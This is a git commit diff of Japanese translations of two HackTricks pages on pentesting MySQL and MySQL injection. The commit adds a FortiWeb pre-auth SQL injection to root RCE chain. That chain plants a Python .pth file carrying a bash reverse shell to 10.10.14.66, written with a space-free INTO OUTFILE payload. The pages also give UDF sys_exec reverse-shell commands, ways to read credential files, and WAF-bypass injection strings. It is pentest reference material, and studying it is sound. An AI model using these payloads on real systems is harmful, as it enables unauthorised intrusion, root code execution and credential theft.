Translated ['src/network-services-pentesting/pentesting-mysql.md', 'src/

This commit is contained in:
Translator 2025-07-14 08:42:21 +00:00
parent 8a394745a9
commit 839b7ba44a
2 changed files with 103 additions and 35 deletions

View File

@ -1,10 +1,15 @@
# 3306 - Pentesting Mysql
{{#include /banners/hacktricks-training.md}}
## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}
## **基本情報**
**MySQL**は、無償で利用できるオープンソースの**リレーショナルデータベース管理システム (RDBMS)**として説明できます。これは、**構造化クエリ言語 (SQL)**で動作し、データベースの管理と操作を可能にします。
**MySQL** は、無料で利用できるオープンソースの **リレーショナルデータベース管理システム (RDBMS)** として説明できます。これは **構造化クエリ言語 (SQL)** に基づいて動作し、データベースの管理と操作を可能にします。
**デフォルトポート:** 3306
```
@ -22,9 +27,9 @@ mysql -u root -p # A password will be asked (check someone)
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```
## External Enumeration
## 外部列挙
一部の列挙アクションには有効な資格情報が必要です
いくつかの列挙アクションには有効な資格情報が必要です
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
@ -78,7 +83,7 @@ quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```
### MySQL 権限列挙
### MySQL権限列挙
```sql
#Mysql
SHOW GRANTS [FOR user];
@ -109,14 +114,51 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}}
## MySQLクライアントによる任意のファイルの読み取り
#### INTO OUTFILE → Python `.pth` RCEサイト固有の設定フック
実際、**テーブルにローカルデータをロードする**とき、MySQLまたはMariaDBサーバーは**クライアントにファイルを読み取って**その内容を送信するように要求します。**したがって、mysqlクライアントを改ざんして自分のMySQLサーバーに接続できれば、任意のファイルを読み取ることができます。**\
この動作は次のように使用されることに注意してください:
古典的な `INTO OUTFILE` プリミティブを悪用することで、後に **Python** スクリプトを実行するターゲットで *任意のコード実行* を取得することが可能です。
1. `INTO OUTFILE` を使用して、`site.py` に自動的に読み込まれる任意のディレクトリ内にカスタム **`.pth`** ファイルをドロップします(例: `.../lib/python3.10/site-packages/`)。
2. `.pth` ファイルには、`import ` で始まる *1行* の任意のPythonコードを含めることができ、インタープリタが起動するたびに実行されます。
3. インタープリタがCGIスクリプトによって暗黙的に実行されるとき例えば、`#!/bin/python` のシバンを持つ `/cgi-bin/ml-draw.py`、ペイロードはウェブサーバープロセスと同じ特権で実行されますFortiWebはそれを **root** として実行しました → 完全な事前認証RCE
例の `.pth` ペイロード単一行、最終SQLペイロードにスペースを含めることはできないため、hex/`UNHEX()` または文字列連結が必要になる場合があります):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
**UNION** クエリを通じてファイルを作成する例(スペース文字は `/**/` に置き換えられ、`sscanf("%128s")` スペースフィルターを回避し、合計長を ≤128 バイトに保つ):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
重要な制限事項とバイパス:
* `INTO OUTFILE` **は既存のファイルを上書きできません**; 新しいファイル名を選択してください。
* ファイルパスは **MySQLのCWDに対して相対的に解決される**ため、`../../`をプレフィックスとして使用することでパスを短縮し、絶対パスの制限をバイパスできます。
* 攻撃者の入力が`%128s`(または類似のもの)で抽出されると、任意のスペースがペイロードを切り詰めます; スペースを置き換えるためにMySQLコメントシーケンス`/**/`または`/*!*/`を使用してください。
* クエリを実行するMySQLユーザーは`FILE`権限が必要ですが、多くのアプライアンス(例: FortiWebではサービスが**root**として実行され、ほぼすべての場所に書き込みアクセスが与えられます。
`.pth`を削除した後、単にpythonインタープリタによって処理される任意のCGIをリクエストしてコード実行を取得します:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
Pythonプロセスは悪意のある`.pth`を自動的にインポートし、シェルペイロードを実行します。
```
# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
```
---
## MySQL クライアントによる任意のファイルの読み取り
実際に、**テーブルにローカルデータをロードする**際に、MySQL または MariaDB サーバーは **クライアントにファイルを読み取って** その内容を送信するように要求します。**したがって、mysql クライアントを改ざんして自分の MySQL サーバーに接続できれば、任意のファイルを読み取ることができます。**\
この動作は次のようになります:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
(「local」という単語に注意してください)\
「local」という単語に注意してください\
「local」がないと、次のようになります
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -124,8 +166,8 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
**この論文では、攻撃の完全な説明と、RCEに拡張する方法を確認できます:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**ここでは攻撃の概要を見つけることができます:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -147,7 +189,7 @@ MySQLサービスの設定では、その操作とセキュリティ対策を定
- **`user`** 設定は、MySQLサービスが実行されるユーザーを指定するために使用されます。
- **`password`** は、MySQLユーザーに関連付けられたパスワードを設定するために適用されます。
- **`admin_address`** は、管理ネットワークインターフェースでTCP/IP接続をリッスンするIPアドレスを指定します。
- **`debug`** 変数は、現在のデバッグ設定を示し、ログ内に機密情報を含むことがあります。
- **`debug`** 変数は、ログ内の機密情報を含む現在のデバッグ設定を示します。
- **`sql_warnings`** は、警告が発生したときに単一行INSERT文のために情報文字列が生成されるかどうかを管理し、ログ内に機密データを含むことがあります。
- **`secure_file_priv`** により、データのインポートおよびエクスポート操作の範囲が制限され、セキュリティが強化されます。
@ -171,16 +213,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
```
### 特権昇格 via ライブラリ
もし **mysqlサーバーがrootとして実行されている**(または他の特権のあるユーザーとして)場合、コマンドを実行させることができます。そのためには、**ユーザー定義関数**を使用する必要があります。そして、ユーザー定義を作成するには、mysqlが実行されているOS用の**ライブラリ**が必要です。
もし**mysqlサーバーがroot**(または他の特権のあるユーザー)として実行されている場合、コマンドを実行させることができます。そのためには、**ユーザー定義関数**を使用する必要があります。そして、ユーザー定義を作成するには、mysqlが実行されているOS用の**ライブラリ**が必要です。
使用する悪意のあるライブラリは、sqlmap内やmetasploit内で **`locate "*lib_mysqludf_sys*"`** を実行することで見つけることができます。**`.so`** ファイルは **linux** ライブラリで、**`.dll`** は **Windows** のものです。必要なものを選んでください。
使用する悪意のあるライブラリは、sqlmap内やmetasploit内で**`locate "*lib_mysqludf_sys*"`**を実行することで見つけることができます。**`.so`**ファイルは**linux**ライブラリで、**`.dll`**は**Windows**用のものです。必要なものを選んでください。
もし **それらのライブラリがない**場合は、**探す**か、この [**linux Cコード**](https://www.exploit-db.com/exploits/1518) をダウンロードして、**linuxの脆弱なマシン内でコンパイル**してください:
もし**それらのライブラリがない**場合は、**探す**か、この[**linux Cコード**](https://www.exploit-db.com/exploits/1518)をダウンロードして、**linuxの脆弱なマシン内でコンパイル**してください:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
今、ライブラリがあるので、特権ユーザーrootとしてMysqlにログインし、次の手順に従ってください
ライブラリを取得したら、特権ユーザーrootとしてMysqlにログインし、次の手順に従ってください
#### Linux
```sql
@ -202,7 +244,7 @@ create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
```
#### Windows
#### ウィンドウズ
```sql
# CHech the linux comments for more indications
USE mysql;
@ -216,13 +258,13 @@ SELECT sys_exec("net localgroup Administrators npn /add");
```
### MySQLの資格情報をファイルから抽出する
_/etc/mysql/debian.cnf_ 内には、ユーザー **debian-sys-maint****平文パスワード** が含まれています。
_/etc/mysql/debian.cnf_ の中に、ユーザー **debian-sys-maint****平文パスワード** を見つけることができます。
```bash
cat /etc/mysql/debian.cnf
```
これらの資格情報を使用して**MySQLデータベースにログインできます**
これらの資格情報を使用して、mysqlデータベースにログインできます
ファイル _/var/lib/mysql/mysql/user.MYD_ の中には、**MySQLユーザーのすべてのハッシュ**データベース内のmysql.userから抽出できるものが見つかります_
ファイル _/var/lib/mysql/mysql/user.MYD_ の中には、**MySQLユーザーのすべてのハッシュ**データベース内のmysql.userから抽出できるものが見つかります。
これらを抽出するには、次のようにします:
```bash
@ -230,7 +272,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
```
### ロギングの有効化
mysqlクエリのロギングを`/etc/mysql/my.cnf`で有効にするには、以下の行のコメントを外します。
mysqlクエリのロギングを`/etc/mysql/my.cnf`で有効にするには、以下の行のコメントを外します。
![](<../images/image (899).png>)
@ -609,6 +651,7 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## 参考文献
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -12,9 +12,9 @@
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
```
## 興味深い機能
## 興味深い関数
### Mysqlの確認
### Confirm Mysql:
```
concat('a','b')
database()
@ -48,6 +48,8 @@ strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
```
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
## フロー
「現代」の**MySQL**のバージョンでは、"_**information_schema.tables**_"を"_**mysql.innodb_table_stats**_**"**に置き換えることができることを覚えておいてくださいこれはWAFを回避するのに役立つかもしれません
@ -62,7 +64,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
- `group_concat()`
- `Limit X,1`
### **ブラインド1つずつ**
### **ブラインドつずつ**
- `substr(version(),X,1)='r'` または `substring(version(),X,1)=0x70` または `ascii(substr(version(),X,1))=112`
- `mid(version(),X,1)='5'`
@ -77,7 +79,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
## 列の数を検出
単純なORDERを使用して
単純なORDERを使用
```
order by 1
order by 2
@ -99,13 +101,13 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
## SSRF
**ここで、** [**Mysqlインジェクションを悪用してSSRFを取得するためのさまざまなオプションを学びます**](mysql-ssrf.md)**。**
**ここで、** [**Mysqlインジェクションを悪用してSSRFを取得するための異なるオプションを学びます**](mysql-ssrf.md)**。**
## WAFバイパストリック
### 準備されたステートメントを通じてクエリを実行する
### プリペアドステートメントを通じてクエリを実行する
スタッククエリが許可されている場合、実行したいクエリの16進数表現を変数に割り当てSETを使用、その後PREPAREおよびEXECUTE MySQLステートメントを使用して最終的にクエリを実行することでWAFをバイパスできる可能性があります。次のようなものです:
スタッククエリが許可されている場合、実行したいクエリの16進数表現を変数に割り当てSETを使用、その後PREPAREおよびEXECUTE MySQLステートメントを使用して最終的にクエリを実行することでWAFをバイパスできる可能性があります。こんな感じです:
```
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
```
@ -113,7 +115,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
### Information_schemaの代替
「現代」の**MySQL**のバージョンでは、_**information_schema.tables**_を_**mysql.innodb_table_stats**_や_**sys.x$schema_flattened_keys**_、または**sys.schema_table_statistics**に置き換えることができることを覚えておいてください。
「現代」の**MySQL**のバージョンでは、_**information_schema.tables**_を_**mysql.innodb_table_stats**_や_**sys.x$schema_flattened_keys**_、または**sys.schema_table_statistics**に置き換えることができることを忘れないでください。
### MySQLインジェクションカンマなし
@ -123,22 +125,44 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
### 列名なしで値を取得する
もし、テーブルの名前はわかっているが、そのテーブル内の列の名前がわからない場合は、次のようなコマンドを実行して、列の数を調べることができます:
もし、テーブルの名前はわかっているが、テーブル内の列の名前がわからない場合は、次のようなコマンドを実行して、列の数を調べることができます:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
フラグの内容を文字ごとに試してブルートフォースすることができます。最初の列がIDで、もう一つの列がフラグであると仮定します。
2つの列があると仮定します最初の列がIDで、もう1つの列がフラグです。フラグの内容を文字ごとにブルートフォースしてみることができます
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
[https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)の詳細情報
More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
### SPACESなしのインジェクション (`/**/` コメントトリック)
一部のアプリケーションは、`sscanf("%128s", buf)` のような関数を使用してユーザー入力をサニタイズまたは解析し、**最初のスペース文字で停止します**。
MySQLは`/**/`のシーケンスをコメント*および*ホワイトスペースとして扱うため、クエリを文法的に有効に保ちながら、ペイロードから通常のスペースを完全に削除するために使用できます。
スペースフィルターをバイパスする時間ベースのブラインドインジェクションの例:
```http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
```
データベースが受け取るものは:
```sql
' OR SLEEP(5)-- -'
```
これは特に便利です:
* 制御可能なバッファのサイズが制限されている場合(例:`%128s`)で、スペースが入力を早期に終了させる場合。
* 通常のスペースが削除されるか、区切りとして使用されるHTTPヘッダーや他のフィールドを通じて注入する場合。
* `INTO OUTFILE` プリミティブと組み合わせて、完全な事前認証RCEを達成する場合MySQL File RCEセクションを参照
---
### MySQLの歴史
**sys.x$statement_analysis**テーブルを読み取ることで、他の実行を確認できます。
MySQL内で他の実行を確認できます**sys.x$statement_analysis**
### バージョンの代替**s**
```
@ -148,11 +172,12 @@ mysql> select version();
```
## その他のMYSQLインジェクションガイド
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
## 参考文献
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../../../banners/hacktricks-training.md}}